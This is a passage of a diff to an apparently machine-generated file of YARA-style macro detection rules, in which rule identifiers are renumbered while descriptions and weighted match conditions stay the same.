1)*12288+(#a_74_6 & 1)*9762) >=7 } -rule _InfrastructureShared_23128{ +rule _InfrastructureShared_24413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -301532,7 +318015,7 @@ rule _InfrastructureShared_23128{ ((#a_4c_0 & 1)*21539+(#a_08_1 & 1)*-28625) >=1 } -rule _InfrastructureShared_23129{ +rule _InfrastructureShared_24414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -301543,7 +318026,7 @@ rule _InfrastructureShared_23129{ ((#a_46_0 & 1)*16675+(#a_29_1 & 1)*8751) >=2 } -rule _InfrastructureShared_23130{ +rule _InfrastructureShared_24415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -301554,7 +318037,7 @@ rule _InfrastructureShared_23130{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*16386) >=2 } -rule _InfrastructureShared_23131{ +rule _InfrastructureShared_24416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 03 00 21 " @@ -301566,7 +318049,7 @@ rule _InfrastructureShared_23131{ ((#a_53_0 & 1)*19747+(#a_2e_1 & 1)*28536+(#a_2b_2 & 1)*12290) >=2 } -rule _InfrastructureShared_23132{ +rule _InfrastructureShared_24417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -301578,7 +318061,7 @@ rule _InfrastructureShared_23132{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*8240+(#a_65_2 & 1)*28777) >=3 } -rule _InfrastructureShared_23133{ +rule _InfrastructureShared_24418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 08 00 21 " @@ -301595,7 +318078,7 @@ rule _InfrastructureShared_23133{ ((#a_53_0 & 1)*19747+(#a_29_1 & 1)*8748+(#a_2c_2 & 1)*8796+(#a_52_3 & 1)*21320+(#a_74_4 & 1)*26983+(#a_20_5 & 1)*28003+(#a_4f_6 & 1)*28257+(#a_73_7 & 1)*26996) >=3 } -rule _InfrastructureShared_23134{ +rule _InfrastructureShared_24419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -301611,7 +318094,7 @@ rule _InfrastructureShared_23134{ ((#a_53_0 & 1)*19747+(#a_48_1 & 1)*21313+(#a_4d_2 & 1)*8448+(#a_4d_3 & 1)*12615+(#a_75_4 & 1)*8293+(#a_65_5 & 1)*25902+(#a_65_6 & 1)*29489) >=7 } -rule _InfrastructureShared_23135{ +rule _InfrastructureShared_24420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -301621,7 +318104,7 @@ rule _InfrastructureShared_23135{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23136{ +rule _InfrastructureShared_24421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -301632,7 +318115,7 @@ rule _InfrastructureShared_23136{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28782) >=2 } -rule _InfrastructureShared_23137{ +rule _InfrastructureShared_24422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -301644,7 +318127,7 @@ rule _InfrastructureShared_23137{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28483+(#a_68_2 & 1)*11892) >=3 } -rule _InfrastructureShared_23138{ +rule _InfrastructureShared_24423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -301656,7 +318139,7 @@ rule _InfrastructureShared_23138{ ((#a_53_0 & 1)*19747+(#a_68_1 & 1)*26721+(#a_2f_2 & 1)*14137) >=3 } -rule _InfrastructureShared_23139{ +rule _InfrastructureShared_24424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -301667,7 +318150,7 @@ rule _InfrastructureShared_23139{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*12048) >=1 } -rule _InfrastructureShared_23140{ +rule _InfrastructureShared_24425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -301678,7 +318161,7 @@ rule _InfrastructureShared_23140{ ((#a_4c_0 & 1)*21539+(#a_41_1 & 1)*18734) >=2 } -rule _InfrastructureShared_23141{ +rule _InfrastructureShared_24426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -301690,7 +318173,7 @@ rule _InfrastructureShared_23141{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*15648+(#a_2b_2 & 1)*6400) >=3 } -rule _InfrastructureShared_23142{ +rule _InfrastructureShared_24427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -301701,7 +318184,7 @@ rule _InfrastructureShared_23142{ ((#a_63_0 & 1)*25891+(#a_42_1 & 1)*29811) >=2 } -rule _InfrastructureShared_23143{ +rule _InfrastructureShared_24428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -301713,7 +318196,7 @@ rule _InfrastructureShared_23143{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*27753+(#a_63_2 & 1)*17507) >=3 } -rule _InfrastructureShared_23144{ +rule _InfrastructureShared_24429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -301725,7 +318208,7 @@ rule _InfrastructureShared_23144{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*28773+(#a_90_2 & 1)*8253) >=3 } -rule _InfrastructureShared_23145{ +rule _InfrastructureShared_24430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -301738,7 +318221,7 @@ rule _InfrastructureShared_23145{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*144+(#a_43_2 & 1)*15619+(#a_90_3 & 1)*8752) >=4 } -rule _InfrastructureShared_23146{ +rule _InfrastructureShared_24431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -301748,7 +318231,7 @@ rule _InfrastructureShared_23146{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23147{ +rule _InfrastructureShared_24432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -301759,7 +318242,7 @@ rule _InfrastructureShared_23147{ ((#a_43_0 & 1)*19747+(#a_4f_1 & 1)*29813) >=1 } -rule _InfrastructureShared_23148{ +rule _InfrastructureShared_24433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -301770,7 +318253,7 @@ rule _InfrastructureShared_23148{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*27) >=1 } -rule _InfrastructureShared_23149{ +rule _InfrastructureShared_24434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -301781,7 +318264,7 @@ rule _InfrastructureShared_23149{ ((#a_53_0 & 1)*19747+(#a_60_1 & 1)*-28561) >=1 } -rule _InfrastructureShared_23150{ +rule _InfrastructureShared_24435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -301793,7 +318276,7 @@ rule _InfrastructureShared_23150{ ((#a_53_0 & 1)*19747+(#a_1f_1 & 1)*-28640+(#a_79_2 & 1)*8192) >=1 } -rule _InfrastructureShared_23151{ +rule _InfrastructureShared_24436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -301806,7 +318289,7 @@ rule _InfrastructureShared_23151{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*8308+(#a_54_2 & 1)*28530+(#a_00_3 & 1)*8796) >=1 } -rule _InfrastructureShared_23152{ +rule _InfrastructureShared_24437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -301818,7 +318301,7 @@ rule _InfrastructureShared_23152{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*9760+(#a_00_2 & 1)*144) >=3 } -rule _InfrastructureShared_23153{ +rule _InfrastructureShared_24438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 05 00 21 " @@ -301832,7 +318315,7 @@ rule _InfrastructureShared_23153{ ((#a_37_0 & 1)*20259+(#a_00_1 & 1)*11892+(#a_20_2 & 1)*8193+(#a_6f_3 & 1)*29545+(#a_29_4 & 1)*28261) >=3 } -rule _InfrastructureShared_23154{ +rule _InfrastructureShared_24439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -301843,7 +318326,7 @@ rule _InfrastructureShared_23154{ ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*25971) >=4 } -rule _InfrastructureShared_23155{ +rule _InfrastructureShared_24440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -301854,7 +318337,7 @@ rule _InfrastructureShared_23155{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*3842) >=1 } -rule _InfrastructureShared_23156{ +rule _InfrastructureShared_24441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -301866,7 +318349,7 @@ rule _InfrastructureShared_23156{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*25429+(#a_00_2 & 1)*21581) >=1 } -rule _InfrastructureShared_23157{ +rule _InfrastructureShared_24442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -301878,7 +318361,7 @@ rule _InfrastructureShared_23157{ ((#a_53_0 & 1)*19747+(#a_50_1 & 1)*25970+(#a_62_3 & 1)*21249) >=4 } -rule _InfrastructureShared_23158{ +rule _InfrastructureShared_24443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -301892,7 +318375,7 @@ rule _InfrastructureShared_23158{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_23159{ +rule _InfrastructureShared_24444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -301906,7 +318389,7 @@ rule _InfrastructureShared_23159{ ((#a_4c_0 & 1)*21539+(#a_4f_1 & 1)*19538+(#a_48_2 & 1)*8448+(#a_6f_3 & 1)*29795+(#a_00_5 & 1)*3) >=6 } -rule _InfrastructureShared_23160{ +rule _InfrastructureShared_24445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -301917,7 +318400,7 @@ rule _InfrastructureShared_23160{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*25120) >=2 } -rule _InfrastructureShared_23161{ +rule _InfrastructureShared_24446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -301929,7 +318412,7 @@ rule _InfrastructureShared_23161{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*24866+(#a_90_2 & 1)*28674) >=3 } -rule _InfrastructureShared_23162{ +rule _InfrastructureShared_24447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -301941,7 +318424,7 @@ rule _InfrastructureShared_23162{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*144+(#a_65_2 & 1)*17155) >=3 } -rule _InfrastructureShared_23163{ +rule _InfrastructureShared_24448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -301953,7 +318436,7 @@ rule _InfrastructureShared_23163{ ((#a_53_0 & 1)*19747+(#a_68_1 & 1)*26739+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_23164{ +rule _InfrastructureShared_24449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -301966,7 +318449,7 @@ rule _InfrastructureShared_23164{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*24943+(#a_61_2 & 1)*28277+(#a_29_3 & 1)*448) >=4 } -rule _InfrastructureShared_23165{ +rule _InfrastructureShared_24450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -301977,7 +318460,7 @@ rule _InfrastructureShared_23165{ ((#a_53_0 & 1)*19747+(#a_39_1 & 1)*12291) >=1 } -rule _InfrastructureShared_23166{ +rule _InfrastructureShared_24451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -301988,7 +318471,7 @@ rule _InfrastructureShared_23166{ ((#a_53_0 & 1)*19747+(#a_75_1 & 1)*25938) >=1 } -rule _InfrastructureShared_23167{ +rule _InfrastructureShared_24452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -301999,7 +318482,7 @@ rule _InfrastructureShared_23167{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*10101) >=1 } -rule _InfrastructureShared_23168{ +rule _InfrastructureShared_24453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -302012,7 +318495,7 @@ rule _InfrastructureShared_23168{ ((#a_53_0 & 1)*19747+(#a_6e_1 & 1)*21038+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=1 } -rule _InfrastructureShared_23169{ +rule _InfrastructureShared_24454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 0c 00 21 " @@ -302031,7 +318514,7 @@ rule _InfrastructureShared_23169{ ((#a_53_0 & 1)*19747+(#a_45_1 & 1)*261+(#a_78_3 & 1)*11777+(#a_90_4 & 1)*16386+(#a_54_6 & 1)*18509+(#a_79_7 & 1)*29298+(#a_02_8 & 1)*8744+(#a_72_9 & 1)*25697+(#a_61_10 & 1)*25395+(#a_74_11 & 1)*26739) >=1 } -rule _InfrastructureShared_23170{ +rule _InfrastructureShared_24455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -302042,7 +318525,7 @@ rule _InfrastructureShared_23170{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*16386) >=2 } -rule _InfrastructureShared_23171{ +rule _InfrastructureShared_24456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -302053,7 +318536,7 @@ rule _InfrastructureShared_23171{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*656) >=2 } -rule _InfrastructureShared_23172{ +rule _InfrastructureShared_24457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -302064,7 +318547,7 @@ rule _InfrastructureShared_23172{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*656) >=2 } -rule _InfrastructureShared_23173{ +rule _InfrastructureShared_24458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -302075,7 +318558,7 @@ rule _InfrastructureShared_23173{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*25444) >=2 } -rule _InfrastructureShared_23174{ +rule _InfrastructureShared_24459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 04 00 21 " @@ -302088,7 +318571,7 @@ rule _InfrastructureShared_23174{ ((#a_6c_0 & 1)*16675+(#a_76_1 & 1)*17664+(#a_6f_2 & 1)*28233+(#a_6c_3 & 1)*17952) >=3 } -rule _InfrastructureShared_23175{ +rule _InfrastructureShared_24460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 04 00 21 " @@ -302101,7 +318584,7 @@ rule _InfrastructureShared_23175{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25968+(#a_00_2 & 1)*66+(#a_6f_3 & 1)*8705) >=7 } -rule _InfrastructureShared_23176{ +rule _InfrastructureShared_24461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -302111,7 +318594,7 @@ rule _InfrastructureShared_23176{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_23177{ +rule _InfrastructureShared_24462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -302122,7 +318605,7 @@ rule _InfrastructureShared_23177{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*1) >=2 } -rule _InfrastructureShared_23178{ +rule _InfrastructureShared_24463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -302133,7 +318616,7 @@ rule _InfrastructureShared_23178{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*29559) >=2 } -rule _InfrastructureShared_23179{ +rule _InfrastructureShared_24464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -302145,7 +318628,7 @@ rule _InfrastructureShared_23179{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*258+(#a_79_2 & 1)*10241) >=3 } -rule _InfrastructureShared_23180{ +rule _InfrastructureShared_24465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 04 00 21 " @@ -302158,7 +318641,7 @@ rule _InfrastructureShared_23180{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28757+(#a_47_2 & 1)*11895+(#a_79_3 & 1)*8293) >=3 } -rule _InfrastructureShared_23181{ +rule _InfrastructureShared_24466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -302171,7 +318654,7 @@ rule _InfrastructureShared_23181{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*27759+(#a_63_2 & 1)*17507+(#a_01_3 & 1)*25972) >=4 } -rule _InfrastructureShared_23182{ +rule _InfrastructureShared_24467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -302185,7 +318668,7 @@ rule _InfrastructureShared_23182{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*29528+(#a_4f_2 & 1)*20782+(#a_74_3 & 1)*25197+(#a_73_4 & 1)*26469) >=5 } -rule _InfrastructureShared_23183{ +rule _InfrastructureShared_24468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -302199,7 +318682,7 @@ rule _InfrastructureShared_23183{ ((#a_53_0 & 1)*19747+(#a_6d_1 & 1)*12090+(#a_75_2 & 1)*263+(#a_61_3 & 1)*28004+(#a_61_4 & 1)*8307) >=5 } -rule _InfrastructureShared_23184{ +rule _InfrastructureShared_24469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -302214,7 +318697,7 @@ rule _InfrastructureShared_23184{ ((#a_53_0 & 1)*19747+(#a_64_1 & 1)*29185+(#a_54_2 & 1)*8513+(#a_01_3 & 1)*1+(#a_9e_4 & 1)*0+(#a_20_5 & 1)*3369) >=6 } -rule _InfrastructureShared_23185{ +rule _InfrastructureShared_24470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -302226,7 +318709,7 @@ rule _InfrastructureShared_23185{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28530+(#a_75_2 & 1)*25167) >=3 } -rule _InfrastructureShared_23186{ +rule _InfrastructureShared_24471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -302238,7 +318721,7 @@ rule _InfrastructureShared_23186{ ((#a_4c_0 & 1)*21539+(#a_22_1 & 1)*2562+(#a_6f_2 & 1)*284) >=3 } -rule _InfrastructureShared_23187{ +rule _InfrastructureShared_24472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 04 00 21 " @@ -302251,7 +318734,7 @@ rule _InfrastructureShared_23187{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*22062+(#a_61_2 & 1)*29251+(#a_2d_3 & 1)*25975) >=3 } -rule _InfrastructureShared_23188{ +rule _InfrastructureShared_24473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -302264,7 +318747,7 @@ rule _InfrastructureShared_23188{ ((#a_6c_0 & 1)*16675+(#a_2d_1 & 1)*22355+(#a_29_2 & 1)*656+(#a_02_3 & 1)*8744) >=4 } -rule _InfrastructureShared_23189{ +rule _InfrastructureShared_24474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -302277,7 +318760,7 @@ rule _InfrastructureShared_23189{ ((#a_53_0 & 1)*19747+(#a_43_1 & 1)*20482+(#a_28_2 & 1)*25959+(#a_6f_3 & 1)*29813) >=4 } -rule _InfrastructureShared_23190{ +rule _InfrastructureShared_24475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -302290,7 +318773,7 @@ rule _InfrastructureShared_23190{ ((#a_53_0 & 1)*19747+(#a_69_1 & 1)*27765+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=4 } -rule _InfrastructureShared_23191{ +rule _InfrastructureShared_24476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -302304,7 +318787,7 @@ rule _InfrastructureShared_23191{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*29797+(#a_4d_2 & 1)*19525+(#a_63_3 & 1)*28787+(#a_37_4 & 1)*20282) >=5 } -rule _InfrastructureShared_23192{ +rule _InfrastructureShared_24477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 08 00 21 " @@ -302318,7 +318801,7 @@ rule _InfrastructureShared_23192{ ((#a_4c_0 & 1)*21539+(#a_70_1 & 1)*384+(#a_52_3 & 1)*21320+(#a_6c_4 & 1)*24899+(#a_65_5 & 1)*25199) >=7 } -rule _InfrastructureShared_23193{ +rule _InfrastructureShared_24478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -302330,7 +318813,7 @@ rule _InfrastructureShared_23193{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*294+(#a_23_2 & 1)*3) >=3 } -rule _InfrastructureShared_23194{ +rule _InfrastructureShared_24479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -302342,7 +318825,7 @@ rule _InfrastructureShared_23194{ ((#a_53_0 & 1)*19747+(#a_64_1 & 1)*29545+(#a_6f_2 & 1)*29285) >=3 } -rule _InfrastructureShared_23195{ +rule _InfrastructureShared_24480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -302354,7 +318837,7 @@ rule _InfrastructureShared_23195{ ((#a_53_0 & 1)*19747+(#a_42_1 & 1)*8253+(#a_4c_2 & 1)*11875) >=3 } -rule _InfrastructureShared_23196{ +rule _InfrastructureShared_24481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -302366,7 +318849,7 @@ rule _InfrastructureShared_23196{ ((#a_53_0 & 1)*19747+(#a_47_1 & 1)*26945+(#a_00_2 & 1)*18213) >=3 } -rule _InfrastructureShared_23197{ +rule _InfrastructureShared_24482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -302379,7 +318862,7 @@ rule _InfrastructureShared_23197{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*17737+(#a_42_2 & 1)*29797+(#a_90_3 & 1)*28674) >=4 } -rule _InfrastructureShared_23198{ +rule _InfrastructureShared_24483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -302391,7 +318874,7 @@ rule _InfrastructureShared_23198{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*144+(#a_43_2 & 1)*15619) >=4 } -rule _InfrastructureShared_23199{ +rule _InfrastructureShared_24484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -302404,7 +318887,7 @@ rule _InfrastructureShared_23199{ ((#a_53_0 & 1)*19747+(#a_4d_1 & 1)*14915+(#a_41_2 & 1)*29797+(#a_6d_3 & 1)*656) >=4 } -rule _InfrastructureShared_23200{ +rule _InfrastructureShared_24485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -302416,7 +318899,7 @@ rule _InfrastructureShared_23200{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*656+(#a_20_2 & 1)*30821) >=3 } -rule _InfrastructureShared_23201{ +rule _InfrastructureShared_24486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -302428,7 +318911,7 @@ rule _InfrastructureShared_23201{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*29288+(#a_20_2 & 1)*795) >=3 } -rule _InfrastructureShared_23202{ +rule _InfrastructureShared_24487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -302440,7 +318923,7 @@ rule _InfrastructureShared_23202{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*29537+(#a_02_2 & 1)*25955) >=3 } -rule _InfrastructureShared_23203{ +rule _InfrastructureShared_24488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -302450,7 +318933,7 @@ rule _InfrastructureShared_23203{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23204{ +rule _InfrastructureShared_24489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -302461,7 +318944,7 @@ rule _InfrastructureShared_23204{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1) >=2 } -rule _InfrastructureShared_23205{ +rule _InfrastructureShared_24490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -302473,7 +318956,7 @@ rule _InfrastructureShared_23205{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*8308+(#a_28_2 & 1)*25711) >=3 } -rule _InfrastructureShared_23206{ +rule _InfrastructureShared_24491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -302485,7 +318968,7 @@ rule _InfrastructureShared_23206{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*28265+(#a_00_2 & 1)*66) >=3 } -rule _InfrastructureShared_23207{ +rule _InfrastructureShared_24492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -302497,7 +318980,7 @@ rule _InfrastructureShared_23207{ ((#a_53_0 & 1)*19747+(#a_2d_1 & 1)*21032+(#a_6f_2 & 1)*25454) >=3 } -rule _InfrastructureShared_23208{ +rule _InfrastructureShared_24493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -302510,7 +318993,7 @@ rule _InfrastructureShared_23208{ ((#a_53_0 & 1)*19747+(#a_2f_1 & 1)*27753+(#a_6d_2 & 1)*20063+(#a_70_3 & 1)*26707) >=4 } -rule _InfrastructureShared_23209{ +rule _InfrastructureShared_24494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -302523,7 +319006,7 @@ rule _InfrastructureShared_23209{ ((#a_53_0 & 1)*19747+(#a_32_1 & 1)*8306+(#a_61_2 & 1)*21294+(#a_2e_3 & 1)*30050) >=4 } -rule _InfrastructureShared_23210{ +rule _InfrastructureShared_24495{ meta: description = 